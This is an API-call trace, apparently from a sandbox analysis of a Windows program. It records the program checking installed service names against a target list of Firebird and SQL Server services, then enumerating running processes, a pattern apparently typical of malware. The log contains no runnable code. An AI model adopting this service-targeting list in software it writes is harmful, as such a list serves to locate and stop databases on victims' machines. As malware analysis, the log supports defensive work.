	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0154.151] lstrlenW (lpString="lfsvc") returned 5
	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0154.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0154.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0154.151] lstrlenW (lpString="lmhosts") returned 7
	[0154.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0154.152] lstrlenW (lpString="LSM") returned 3
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0154.152] lstrlenW (lpString="MpsSvc") returned 6
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0154.152] lstrlenW (lpString="NcbService") returned 10
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0154.152] lstrlenW (lpString="netprofm") returned 8
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0154.152] lstrlenW (lpString="NgcSvc") returned 6
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0154.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0154.152] lstrlenW (lpString="NlaSvc") returned 6
	[0154.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0154.153] lstrlenW (lpString="nsi") returned 3
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0154.153] lstrlenW (lpString="PcaSvc") returned 6
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0154.153] lstrlenW (lpString="PlugPlay") returned 8
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0154.153] lstrlenW (lpString="Power") returned 5
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0154.153] lstrlenW (lpString="ProfSvc") returned 7
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0154.153] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0154.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0154.153] lstrlenW (lpString="RpcEptMapper") returned 12
	[0154.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0154.154] lstrlenW (lpString="RpcSs") returned 5
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0154.154] lstrlenW (lpString="SamSs") returned 5
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0154.154] lstrlenW (lpString="Schedule") returned 8
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0154.154] lstrlenW (lpString="SecurityHealthService") returned 21
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0154.154] lstrlenW (lpString="SENS") returned 4
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0154.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0154.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0154.154] lstrlenW (lpString="ShellHWDetection") returned 16
	[0154.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0154.155] lstrlenW (lpString="Spooler") returned 7
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0154.155] lstrlenW (lpString="StateRepository") returned 15
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0154.155] lstrlenW (lpString="SysMain") returned 7
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0154.155] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0154.155] lstrlenW (lpString="Themes") returned 6
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0154.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0154.155] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0154.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0154.155] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0154.156] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0154.156] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x620a00 | out: hHeap=0x5a0000) returned 1
	[0154.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8
	[0154.209] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0154.209] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0154.209] lstrlenW (lpString="System") returned 6
	[0154.210] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0154.210] lstrlenW (lpString="smss.exe") returned 8
	[0154.210] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.210] lstrlenW (lpString="csrss.exe") returned 9
	[0154.210] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0154.211] lstrlenW (lpString="wininit.exe") returned 11
	[0154.211] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0154.211] lstrlenW (lpString="csrss.exe") returned 9
	[0154.211] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0154.212] lstrlenW (lpString="winlogon.exe") returned 12
	[0154.212] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0154.212] lstrlenW (lpString="services.exe") returned 12
	[0154.212] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0154.213] lstrlenW (lpString="lsass.exe") returned 9
	[0154.213] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.213] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.213] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0154.215] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0154.215] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.215] lstrlenW (lpString="svchost.exe") returned 11
	[0154.215] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.216] lstrlenW (lpString="svchost.exe") returned 11
	[0154.216] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0154.216] lstrlenW (lpString="dwm.exe") returned 7
	[0154.216] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.217] lstrlenW (lpString="svchost.exe") returned 11
	[0154.217] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.217] lstrlenW (lpString="svchost.exe") returned 11
	[0154.217] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.218] lstrlenW (lpString="svchost.exe") returned 11
	[0154.218] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.218] lstrlenW (lpString="svchost.exe") returned 11
	[0154.218] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.219] lstrlenW (lpString="svchost.exe") returned 11
	[0154.219] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.219] lstrlenW (lpString="svchost.exe") returned 11
	[0154.219] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.220] lstrlenW (lpString="svchost.exe") returned 11
	[0154.220] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.220] lstrlenW (lpString="svchost.exe") returned 11
	[0154.220] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.220] lstrlenW (lpString="svchost.exe") returned 11
	[0154.221] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.221] lstrlenW (lpString="svchost.exe") returned 11
	[0154.221] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0154.221] lstrlenW (lpString="spoolsv.exe") returned 11
	[0154.221] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.222] lstrlenW (lpString="svchost.exe") returned 11
	[0154.222] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0154.223] lstrlenW (lpString="audiodg.exe") returned 11
	[0154.223] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0154.223] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0154.223] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0154.224] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0154.224] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0154.225] lstrlenW (lpString="Memory Compression") returned 18
	[0154.225] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0154.225] lstrlenW (lpString="sihost.exe") returned 10
	[0154.225] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0154.226] lstrlenW (lpString="svchost.exe") returned 11
	[0154.226] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0154.226] lstrlenW (lpString="taskhostw.exe") returned 13
	[0154.226] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0154.227] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0154.227] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0154.227] lstrlenW (lpString="taskhostw.exe") returned 13
	[0154.227] Process32NextW (in: hSnapshot=0x3f8, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
